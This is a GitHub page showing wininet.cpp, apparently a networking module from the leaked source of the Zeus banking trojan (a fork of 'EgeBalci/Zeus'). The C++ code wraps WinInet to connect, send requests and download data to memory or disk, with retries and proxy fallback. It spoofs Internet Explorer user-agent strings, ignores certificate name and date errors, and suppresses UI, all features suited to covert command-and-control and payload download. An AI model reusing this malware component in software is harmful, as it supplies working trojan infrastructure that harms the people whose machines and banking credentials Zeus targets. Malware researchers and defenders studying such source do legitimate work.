forked from EgeBalci/Zeus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwininet.cpp
413 lines (343 loc) · 13 KB
/
wininet.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
#include <windows.h>
#include <wininet.h>
#include "wininet.h"
#include "fs.h"
#include "httptools.h"
//User agent
#define DEFAULT_USER_AGENT "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)"
//Version of HTTP.
#define DEFAULT_HTTP_VERSION "HTTP/1.1"
//The buffer size when downloading file
#define WININET_BUFFER_SIZE 4096
//Accepted types.
static LPSTR AcceptTypes[] = {"*/*", NULL};
//Options WinInet.
typedef struct
{
DWORD dwOption;
DWORD dwValue;
}WININETOPTION;
static WININETOPTION WinInetOptions[] =
{
//Sets an unsigned long integer value that contains the time-out value, in milliseconds, to use for Internet connection requests.
{INTERNET_OPTION_CONNECT_TIMEOUT, 1 * 60 * 1000},
//Sets an unsigned long integer value that contains the error masks that can be handled by the client application.
//A bug in wininet.dll, damages stack or something like that.
//{INTERNET_OPTION_ERROR_MASK, INTERNET_ERROR_MASK_COMBINED_SEC_CERT | INTERNET_ERROR_MASK_INSERT_CDROM | INTERNET_ERROR_MASK_LOGIN_FAILURE_DISPLAY_ENTITY_BODY},
//Sets an unsigned long integer value that contains the time-out value, in milliseconds, to receive a response to a request.
{INTERNET_OPTION_RECEIVE_TIMEOUT, 1 * 60 * 1000},
//Sets an unsigned long integer value, in milliseconds, that contains the time-out value to send a request.
{INTERNET_OPTION_SEND_TIMEOUT, 1 * 60 * 1000}
};
void Wininet::Init(void)
{
}
void Wininet::Uninit(void)
{
}
HINTERNET Wininet::_Connect(LPSTR pstrUserAgent, LPSTR pstrHost, WORD wPort, DWORD dwFlags)
{
//"The creation of the Internet.
HINTERNET hInet = CWA(wininet, InternetOpenA)(pstrUserAgent ? pstrUserAgent : DEFAULT_USER_AGENT,
dwFlags & WICF_USE_IE_PROXY ? INTERNET_OPEN_TYPE_PRECONFIG : INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL, 0);
if(hInet == NULL)return NULL;
//Ustanavliaem settings.
for(DWORD i = 0; i < sizeof(WinInetOptions) / sizeof(WININETOPTION); i++)CWA(wininet, InternetSetOptionA)(hInet, WinInetOptions[i].dwOption, (void *)&WinInetOptions[i].dwValue, sizeof(DWORD));
//Connection, as such, the connection fails. Hit hard M $.
HINTERNET hConnect = CWA(wininet, InternetConnectA)(hInet, pstrHost, wPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
if(hConnect == NULL)
{
CWA(wininet, InternetCloseHandle)(hInet);
return NULL;
}
return hConnect;
}
void Wininet::_CloseConnection(HINTERNET hConnect)
{
HINTERNET hInet = NULL;
DWORD dwSize = sizeof(HINTERNET);
BOOL r = CWA(wininet, InternetQueryOptionA)(hConnect, INTERNET_OPTION_PARENT_HANDLE, (void *)&hInet, &dwSize);
CWA(wininet, InternetCloseHandle)(hConnect);
if(r && hInet && dwSize == sizeof(HINTERNET))CWA(wininet, InternetCloseHandle)(hInet);
#if(BO_DEBUG > 0 && defined(WDEBUG1))
else WDEBUG0(WDDT_ERROR, "Opps! Parent no founded for hConnection!");
#endif
}
void Wininet::_closeWithParents(HINTERNET handle)
{
HINTERNET parentHandle;
DWORD size;
BOOL ok;
for(;;)
{
size = sizeof(HINTERNET);
ok = CWA(wininet, InternetQueryOptionA)(handle, INTERNET_OPTION_PARENT_HANDLE, &parentHandle, &size);
CWA(wininet, InternetCloseHandle)(handle);
if(ok == FALSE || parentHandle == NULL)break;
handle = parentHandle;
}
}
bool Wininet::callCallback(HINTERNET handle, DWORD_PTR context, DWORD internetStatus, LPVOID statusInformation, DWORD statusInformationLength)
{
HINTERNET originalHandle = handle;
for(; handle != NULL;)
{
INTERNET_STATUS_CALLBACK isc = NULL;
DWORD size = sizeof(INTERNET_STATUS_CALLBACK);
if(CWA(wininet, InternetQueryOptionA)(handle, INTERNET_OPTION_CALLBACK, &isc, &size) == TRUE && isc != INTERNET_NO_CALLBACK && isc != INTERNET_INVALID_STATUS_CALLBACK)
{
# if defined WDEBUG1
WDEBUG1(WDDT_INFO, "Calling 0x%p.", isc);
# endif
isc(originalHandle, context, internetStatus, statusInformation, statusInformationLength);
return true;
}
size = sizeof(HINTERNET);
if(CWA(wininet, InternetQueryOptionA)(handle, INTERNET_OPTION_PARENT_HANDLE, &handle, &size) == FALSE)break;
}
return false;
}
HINTERNET Wininet::_SendRequest(HINTERNET hConnect, LPSTR pstrURI, LPSTR pstrReferer, void *pPostData, DWORD dwPostDataSize, DWORD dwFlags)
{
DWORD dwReqFlags = INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_AUTH |
INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD;
if(dwFlags & WISRF_KEEP_CONNECTION)dwReqFlags |= INTERNET_FLAG_KEEP_CONNECTION;
if(dwFlags & WISRF_IS_HTTPS)dwReqFlags |= INTERNET_FLAG_SECURE;
# if defined WDEBUG1
WDEBUG1(WDDT_INFO, "pstrURI=%S", pstrURI);
# endif
//Create the query.
HINTERNET hReq = CWA(wininet, HttpOpenRequestA)(hConnect, dwFlags & WISRF_METHOD_POST ? "POST" : "GET", pstrURI, DEFAULT_HTTP_VERSION, pstrReferer, (LPCSTR *)AcceptTypes, dwReqFlags, NULL);
if(hReq != NULL)
{
//Sending request.
LPSTR headers;
DWORD headersSize;
if(dwFlags & WISRF_KEEP_CONNECTION)
{
headers = NULL;
headersSize = 0;
}
else
{
headers = "Connection: close\r\n";
headersSize = 19;
}
if(CWA(wininet, HttpSendRequestA)(hReq, headers, headersSize, pPostData, dwPostDataSize))
{
DWORD dwStatus = 0, dwSize = sizeof(DWORD);
if(CWA(wininet, HttpQueryInfoA)(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatus, &dwSize, NULL) && dwStatus == HTTP_STATUS_OK)return hReq;
}
CWA(wininet, InternetCloseHandle)(hReq);
}
return NULL;
}
bool Wininet::_DownloadData(HINTERNET hRequest, MEMDATA *pBuf, DWORD dwSizeLimit, HANDLE hStopEvent)
{
if(dwSizeLimit == 0 || dwSizeLimit > WININET_MAXBYTES_TO_MEM)dwSizeLimit = WININET_MAXBYTES_TO_MEM;
DWORD dwDownloaded = 0;
LPBYTE pDownloaded = NULL;
for(;;)
{
if(hStopEvent != NULL && CWA(kernel32, WaitForSingleObject)(hStopEvent, 0) != WAIT_TIMEOUT)break;
//Memory allocation.
DWORD dwReaded = WININET_BUFFER_SIZE;
if(!Mem::reallocEx(&pDownloaded, dwDownloaded + dwReaded))break;
//Reading data.
if(!CWA(wininet, InternetReadFile)(hRequest, pDownloaded + dwDownloaded, dwReaded, &dwReaded))break;
//All read.
if(dwReaded == 0)
{
if(pBuf)
{
pBuf->data = pDownloaded;
pBuf->size = dwDownloaded;
}
else Mem::free(pDownloaded);
return true;
}
dwDownloaded += dwReaded;
//Privyshin limit.
if(dwDownloaded > dwSizeLimit)break;
}
Mem::free(pDownloaded);
return false;
}
bool Wininet::_DownloadDataToFile(HINTERNET hRequest, LPWSTR pstrFileName, DWORD dwSizeLimit, HANDLE hStopEvent)
{
bool r = false;
HANDLE hFile = CWA(kernel32, CreateFileW)(pstrFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
LPBYTE pBuf = (LPBYTE)Mem::alloc(WININET_BUFFER_SIZE);
if(pBuf)
{
DWORD dwDownloaded = 0, dwWrited, dwReaded;
for(;;)
{
if(hStopEvent != NULL && CWA(kernel32, WaitForSingleObject)(hStopEvent, 0) != WAIT_TIMEOUT)break;
//Reading data.
if(!CWA(wininet, InternetReadFile)(hRequest, pBuf, WININET_BUFFER_SIZE, &dwReaded))break;
//All read.
if(dwReaded == 0)
{
CWA(kernel32, FlushFileBuffers)(hFile);
r = true;
break;
}
//Pishim
if(!CWA(kernel32, WriteFile)(hFile, pBuf, dwReaded, &dwWrited, NULL) || dwReaded != dwWrited)break;
dwDownloaded += dwReaded;
//Privyshin limit.
if(dwDownloaded > dwSizeLimit)break;
}
Mem::free(pBuf);
}
CWA(kernel32, CloseHandle)(hFile);
if(!r)Fs::_removeFile(pstrFileName);
}
return r;
}
bool Wininet::_CallURL(CALLURLDATA *pcud, MEMDATA *pBuf)
{
bool r = false;
HttpTools::URLDATA ud;
if(HttpTools::_parseUrl(pcud->pstrURL, &ud))
{
DWORD dwRequestFlags = pcud->SendRequest_dwFlags;
if(ud.scheme == HttpTools::UDS_HTTPS)dwRequestFlags |= WISRF_IS_HTTPS;
else dwRequestFlags &= ~(WISRF_IS_HTTPS);
for(BYTE bi = 0; bi < pcud->bTryCount; bi++)
{
//Delay.
if(bi > 0)
{
if(pcud->hStopEvent != NULL)
{
if(CWA(kernel32, WaitForSingleObject)(pcud->hStopEvent, pcud->dwRetryDelay) != WAIT_TIMEOUT)goto END;
}
else CWA(kernel32, Sleep)(pcud->dwRetryDelay);
}
DWORD dwConnectFlags = pcud->Connect_dwFlags;
BYTE pp_m = 1;
if(pcud->bAutoProxy)
{
dwConnectFlags |= WICF_USE_IE_PROXY;
pp_m++;
}
for(BYTE pp = 0; pp < pp_m; pp++)
{
if(pp == 1)dwConnectFlags &= ~(WICF_USE_IE_PROXY);
//Connection.
HINTERNET hConnect = _Connect(pcud->pstrUserAgent, ud.host, ud.port, dwConnectFlags);
if(hConnect)
{
HINTERNET hRequest = _SendRequest(hConnect, ud.uri, NULL, pcud->SendRequest_pPostData, pcud->SendRequest_dwPostDataSize, dwRequestFlags);
if(hRequest)
{
if(pcud->DownloadData_pstrFileName)r = _DownloadDataToFile(hRequest, pcud->DownloadData_pstrFileName, pcud->DownloadData_dwSizeLimit, pcud->hStopEvent);
else r = _DownloadData(hRequest, pBuf, pcud->DownloadData_dwSizeLimit, pcud->hStopEvent);
CWA(wininet, InternetCloseHandle)(hRequest);
}
_CloseConnection(hConnect);
if(r)goto END;
}
}
}
END:
HttpTools::_freeUrlData(&ud);
}
return r;
}
typedef HRESULT (WINAPI *OBTAINUSERAGENTSTRING)(DWORD, LPCSTR, DWORD *);
LPSTR Wininet::_GetIEUserAgent(void)
{
LPSTR pRet = NULL;
HMODULE hDll = CWA(kernel32, LoadLibraryA)("urlmon.dll");
if(hDll != NULL)
{
OBTAINUSERAGENTSTRING fnc = (OBTAINUSERAGENTSTRING)CWA(kernel32, GetProcAddress)(hDll, "ObtainUserAgentString");
if(fnc != NULL)
{
CHAR ua[1024];
DWORD uas = sizeof(ua) - 1;
ua[0] = 0;
if(fnc(0, ua, &uas) == NOERROR)
{
//I do not trust MS. Bad as that documented this feature, and strange yuzaetsya in Win2k.
if(uas > sizeof(ua) - 1)uas = sizeof(ua) - 1;
ua[uas] = 0;
pRet = Str::_CopyExA(ua, -1);
}
}
CWA(kernel32, FreeLibrary)(hDll);
}
return pRet;
}
DWORD Wininet::_testDownloadDelay(LPSTR url, HANDLE stopEvent)
{
Wininet::CALLURLDATA cud;
cud.bAutoProxy = true;
cud.bTryCount = 1;
cud.dwRetryDelay = 0;
cud.hStopEvent = stopEvent;
cud.pstrUserAgent = _GetIEUserAgent();
cud.pstrURL = url;
cud.Connect_dwFlags = 0;
cud.SendRequest_pstrReferer = NULL;
cud.SendRequest_pPostData = NULL;
cud.SendRequest_dwPostDataSize = 0;
cud.SendRequest_dwFlags = WISRF_METHOD_GET;
cud.DownloadData_dwSizeLimit = 512 * 1024;
cud.DownloadData_pstrFileName = NULL;
DWORD time = CWA(kernel32, GetTickCount)();
time = _CallURL(&cud, NULL) ? (CWA(kernel32, GetTickCount)() - time) : 0;
Mem::free(cud.pstrUserAgent);
return time;
}
void *Wininet::_queryOptionExA(HINTERNET internet, DWORD option, LPDWORD lenght)
{
void *buf;
*lenght = 0;
if(CWA(wininet, InternetQueryOptionA)(internet, option, NULL, lenght) == FALSE && (*lenght) > 0 && CWA(kernel32, GetLastError)() == ERROR_INSUFFICIENT_BUFFER)
{
if((buf = Mem::alloc(*lenght)) != NULL)
{
if(CWA(wininet, InternetQueryOptionA)(internet, option, buf, lenght) == TRUE)return buf;
Mem::free(buf);
}
}
return NULL;
}
void *Wininet::_queryOptionExW(HINTERNET internet, DWORD option, LPDWORD lenght)
{
void *buf;
*lenght = 0;
if(CWA(wininet, InternetQueryOptionW)(internet, option, NULL, lenght) == FALSE && (*lenght) > 0 && CWA(kernel32, GetLastError)() == ERROR_INSUFFICIENT_BUFFER)
{
if((buf = Mem::alloc(*lenght)) != NULL)
{
if(CWA(wininet, InternetQueryOptionW)(internet, option, buf, lenght) == TRUE)return buf;
Mem::free(buf);
}
}
return NULL;
}
LPSTR Wininet::_queryInfoExA(HINTERNET request, DWORD infoLevel, LPDWORD lenght, LPDWORD index)
{
char tmpBuf[1];
LPSTR buf;
*lenght = 0;
if((infoLevel & HTTP_QUERY_FLAG_NUMBER) == 0 &&
CWA(wininet, HttpQueryInfoA)(request, infoLevel, tmpBuf, lenght, index) == FALSE && CWA(kernel32, GetLastError)() == ERROR_INSUFFICIENT_BUFFER)
{
if((buf = (LPSTR)Mem::alloc(*lenght)) != NULL)
{
if(CWA(wininet, HttpQueryInfoA)(request, infoLevel, buf, lenght, index) == TRUE)return buf;
Mem::free(buf);
}
}
return NULL;
}